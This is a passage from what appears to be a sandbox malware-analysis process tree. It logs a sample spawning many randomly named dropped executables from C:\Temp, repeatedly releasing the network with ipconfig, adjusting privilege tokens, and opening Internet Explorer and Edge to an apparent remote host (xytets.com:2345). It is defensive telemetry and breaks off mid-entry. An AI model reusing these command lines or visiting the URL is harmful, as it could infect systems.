    C:\temp\CreateProcess.exe C:\Temp\i_dyvqnifdxs.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2496
  - - C:\Temp\i_dyvqnifdxs.exe
      C:\Temp\i_dyvqnifdxs.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2592
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\nlfdxvpica.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5264
  - - C:\Temp\nlfdxvpica.exe
      C:\Temp\nlfdxvpica.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1452
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2124
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2032
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_nlfdxvpica.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2412
  - - C:\Temp\i_nlfdxvpica.exe
      C:\Temp\i_nlfdxvpica.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5372
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\fcausnkfdx.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:6112
  - - C:\Temp\fcausnkfdx.exe
      C:\Temp\fcausnkfdx.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3452
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2112
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4732
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_fcausnkfdx.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4792
  - - C:\Temp\i_fcausnkfdx.exe
      C:\Temp\i_fcausnkfdx.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1828
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\upmhfcwusp.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5356
  - - C:\Temp\upmhfcwusp.exe
      C:\Temp\upmhfcwusp.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4984
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4156
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4780
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_upmhfcwusp.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4172
  - - C:\Temp\i_upmhfcwusp.exe
      C:\Temp\i_upmhfcwusp.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3116
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\zwupmhczur.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1028
  - - C:\Temp\zwupmhczur.exe
      C:\Temp\zwupmhczur.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4400
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2992
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3232
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_zwupmhczur.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5720
  - - C:\Temp\i_zwupmhczur.exe
      C:\Temp\i_zwupmhczur.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:6136
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\rojhbztrlj.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4508
  - - C:\Temp\rojhbztrlj.exe
      C:\Temp\rojhbztrlj.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3420
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4292
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4240
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_rojhbztrlj.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2284
  - - C:\Temp\i_rojhbztrlj.exe
      C:\Temp\i_rojhbztrlj.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3316
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\bwtrljgbzt.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4836
  - - C:\Temp\bwtrljgbzt.exe
      C:\Temp\bwtrljgbzt.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2352
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:6088
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3224
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_bwtrljgbzt.exe ups_ins
    3⤵
    PID:4956
  - - C:\Temp\i_bwtrljgbzt.exe
      C:\Temp\i_bwtrljgbzt.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5692
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\jdbytqligb.exe ups_run
    3⤵
    PID:1952
  - - C:\Temp\jdbytqligb.exe
      C:\Temp\jdbytqligb.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3108
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5188
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5448
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_jdbytqligb.exe ups_ins
    3⤵
    PID:4272
  - - C:\Temp\i_jdbytqligb.exe
      C:\Temp\i_jdbytqligb.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5724
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\qligavtnig.exe ups_run
    3⤵
    PID:3316
  - - C:\Temp\qligavtnig.exe
      C:\Temp\qligavtnig.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5892
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:828
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5564
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_qligavtnig.exe ups_ins
    3⤵
    PID:3304
  - - C:\Temp\i_qligavtnig.exe
      C:\Temp\i_qligavtnig.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1836
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\faxspnlfau.exe ups_run
    3⤵
    PID:4476
  - - C:\Temp\faxspnlfau.exe
      C:\Temp\faxspnlfau.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4440
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2368
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3140
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_faxspnlfau.exe ups_ins
    3⤵
    PID:3232
  - - C:\Temp\i_faxspnlfau.exe
      C:\Temp\i_faxspnlfau.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4964
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\zxspnhfzxr.exe ups_run
    3⤵
    PID:4972
  - - C:\Temp\zxspnhfzxr.exe
      C:\Temp\zxspnhfzxr.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3864
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4800
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4620
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_zxspnhfzxr.exe ups_ins
    3⤵
    PID:4908
  - - C:\Temp\i_zxspnhfzxr.exe
      C:\Temp\i_zxspnhfzxr.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3372
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\xrpjhcausm.exe ups_run
    3⤵
    PID:1824
  - - C:\Temp\xrpjhcausm.exe
      C:\Temp\xrpjhcausm.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5656
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1096
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4220
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_xrpjhcausm.exe ups_ins
    3⤵
    PID:5536
  - - C:\Temp\i_xrpjhcausm.exe
      C:\Temp\i_xrpjhcausm.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4304
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\pjhbzurpjh.exe ups_run
    3⤵
    PID:1212
  - - C:\Temp\pjhbzurpjh.exe
      C:\Temp\pjhbzurpjh.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4864
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4184
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1284
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_pjhbzurpjh.exe ups_ins
    3⤵
    PID:3220
  - - C:\Temp\i_pjhbzurpjh.exe
      C:\Temp\i_pjhbzurpjh.exe ups_ins
      4⤵
      PID:6100
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\urljhbzwrp.exe ups_run
    3⤵
    PID:1932
  - - C:\Temp\urljhbzwrp.exe
      C:\Temp\urljhbzwrp.exe ups_run
      4⤵
      PID:2100
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5372
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2664
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_urljhbzwrp.exe ups_ins
    3⤵
    PID:5980
  - - C:\Temp\i_urljhbzwrp.exe
      C:\Temp\i_urljhbzwrp.exe ups_ins
      4⤵
      PID:5396
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ljgeywtrlj.exe ups_run
    3⤵
    PID:2028
  - - C:\Temp\ljgeywtrlj.exe
      C:\Temp\ljgeywtrlj.exe ups_run
      4⤵
      PID:4620
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2920
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:5688
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:3332
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x304,0x7ffcd35ac188,0x7ffcd35ac194,0x7ffcd35ac1a0
      4⤵
      PID:4608
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1652,i,15217083591934606396,12686251842943178537,262144 --field-trial-handle=2860,i,10997942389702523104,17192302278962735510,262144 --variations-seed-version --mojo-platform-channel-handle=2856 /prefetch:2
      4⤵
      PID:1972
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1856,i,18356669312146945049,4953860927715903231,524288 --field-trial-handle=2860,i,10997942389702523104,17192302278962735510,262144 --variations-seed-version --mojo-platform-channel-handle=2888 /prefetch:11
      4⤵
      System Time Discovery
      PID:2304
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2340,i,8453429583938583907,9936440963810468137,524288 --field-trial-handle=2860,i,10997942389702523104,17192302278962735510,262144 --variations-seed-version --mojo-platform-channel-handle=3264 /prefetch:13
      4⤵
      PID:5740
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3536,i,361986534625163964,13605794223598387065,2097152 --field-trial-handle=2860,i,10997942389702523104,17192302278962735510,262144 --variations-seed-version --mojo-platform-channel-handle=3592 /prefetch:1
      4⤵
      PID:1788
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3544,i,7917515984327190140,3209829176804792364,2097152 --field-trial-handle=2860,i,10997942389702523104,17192302278962735510,262144 --variations-seed-version --mojo-platform-channel-handle=3596 /prefetch:1
      4⤵
      PID:4184
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4232,i,16138282765251817690,2040656663635790696,2097152 --field-trial-handle=2860,i,10997942389702523104,17192302278962735510,262144 --variations-seed-version --mojo-platform-channel-handle=4344 /prefetch:9
      4⤵
      PID:3372
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4220,i,3607708355879569607,13518268741899568818,2097152 --field-trial-handle=2860,i,10997942389702523104,17192302278962735510,262144 --variations-seed-version --mojo-platform-channel-handle=4324 /prefetch:1
      4⤵
      PID:1160
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3692,i,9006700857688525686,16696382226494200077,524288 --field-trial-handle=2860,i,10997942389702523104,17192302278962735510,262144 --variations-seed-version --mojo-platform-channel-handle=3524 /prefetch:14
      4⤵
      PID:3028
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5408,i,3785828854792478824,8372483056228161719,524288 --field-trial-handle=2860,i,10997942389702523104,17192302278962735510,262144 --variations-seed-version --mojo-platform-channel-handle=5352 /prefetch:14
      4⤵
      PID:3744
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5412,i,7300591918123585284,15242184324015524102,524288 --field-trial-handle=2860,i,10997942389702523104,17192302278962735510,262144 --variations-seed-version --mojo-platform-channel-handle=5392 /prefetch:14
      4⤵
      PID:1804
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6012,i,10874884819681736262,12757255855709971678,524288 --field-trial-handle=2860,i,10997942389702523104,17192302278962735510,262144 --variations-seed-version --mojo-platform-channel-handle=6028 /prefetch:14
      4⤵
      PID:3120
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6012,i,10874884819681736262,12757255855709971678,524288 --field-trial-handle=2860,i,10997942389702523104,17192302278962735510,262144 --variations-seed-version --mojo-platform-channel-handle=6028 /prefetch:14
      4⤵
      PID:1116
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6312,i,1719329764102193758,10754038283816177537,524288 --field-trial-handle=2860,i,10997942389702523104,17192302278962735510,262144 --variations-seed-version --mojo-platform-channel-handle=6280 /prefetch:14
      4⤵
      PID:3228
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6592,i,15108531489869538419,9542029492103440264,524288 --field-trial-handle=2860,i,10997942389702523104,17192302278962735510,262144 --variations-seed-version --mojo-platform-channel-handle=6296 /prefetch:14
      4⤵
      PID:3044
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=5268,i,11780899991264782447,4893956098661362156,2097152 --field-trial-handle=2860,i,10997942389702523104,17192302278962735510,262144 --variations-seed-version --mojo-platform-channel-handle=6024 /prefetch:1
      4⤵
      PID:3452
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=3608,i,17510071928328701206,4490976933175570769,2097152 --field-trial-handle=2860,i,10997942389702523104,17192302278962735510,262144 --variations-seed-version --mojo-platform-channel-handle=3676 /prefetch:1
      4⤵
      PID:724
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6136,i,9024827762518387418,3366327804659043612,524288 --field-trial-handle=2860,i,10997942389702523104,17192302278962735510,262144 --variations-seed-version --mojo-platform-channel-handle=6304 /prefetch:14
      4⤵
      PID:5024
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6160,i,13893638158580816032,264735279428839865,524288 --field-trial-handle=2860,i,10997942389702523104,17192302278962735510,262144 --variations-seed-version --mojo-platform-channel-handle=6648 /prefetch:14
      4⤵
      PID:4156
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6604,i,14068096423306294485,7230547635599651168,524288 --field-trial-handle=2860,i,10997942389702523104,17192302278962735510,262144 --variations-seed-version --mojo-platform-channel-handle=6084 /prefetch:14
      4⤵
      PID:5332
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --metrics-shmem-handle=5080,i,4830106106740163704,599711933618454102,2097152 --field-trial-handle=2860,i,10997942389702523104,17192302278962735510,262144 --variations-seed-version --mojo-platform-channel-handle=5016 /prefetch:1
      4⤵
      PID:4692
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --always-read-main-dll --metrics-shmem-handle=5444,i,5771102022276806562,4406135821182273874,2097152 --field-trial-handle=2860,i,10997942389702523104,17192302278962735510,262144 --variations-seed-version --mojo-platform-channel-handle=5044 /prefetch:1
      4⤵
      PID:3088
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5516,i,11452776430778515236,14618708430259785928,524288 --field-trial-handle=2860,i,10997942389702523104,17192302278962735510,262144 --variations-seed-version --mojo-platform-channel-handle=6272 /prefetch:14
      4⤵
      PID:2868
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5016,i,16614427181218435307,5163378451284707802,524288 --field-trial-handle=2860,i,10997942389702523104,17192302278962735510,262144 --variations-seed-version --mojo-platform-channel-handle=6672 /prefetch:14
      4⤵
      PID:3364
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --always-read-main-dll --metrics-shmem-handle=6436,i,10400068717912341542,9430894615917742533,2097152 --field-trial-handle=2860,i,10997942389702523104,17192302278962735510,262144 --variations-seed-version --mojo-platform-channel-handle=3796 /prefetch:1
      4⤵
      PID:2844
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6184,i,6682481464623372092,7987788940530352113,524288 --field-trial-handle=2860,i,10997942389702523104,17192302278962735510,262144 --variations-seed-version --mojo-platform-channel-handle=3792 /prefetch:14
      4⤵
      PID:4876
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --always-read-main-dll --metrics-shmem-handle=1964,i,12769508619691967204,3343787798805784332,2097152 --field-trial-handle=2860,i,10997942389702523104,17192302278962735510,262144 --variations-seed-version --mojo-platform-channel-handle=6168 /prefetch:1
      4⤵
      PID:3540
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
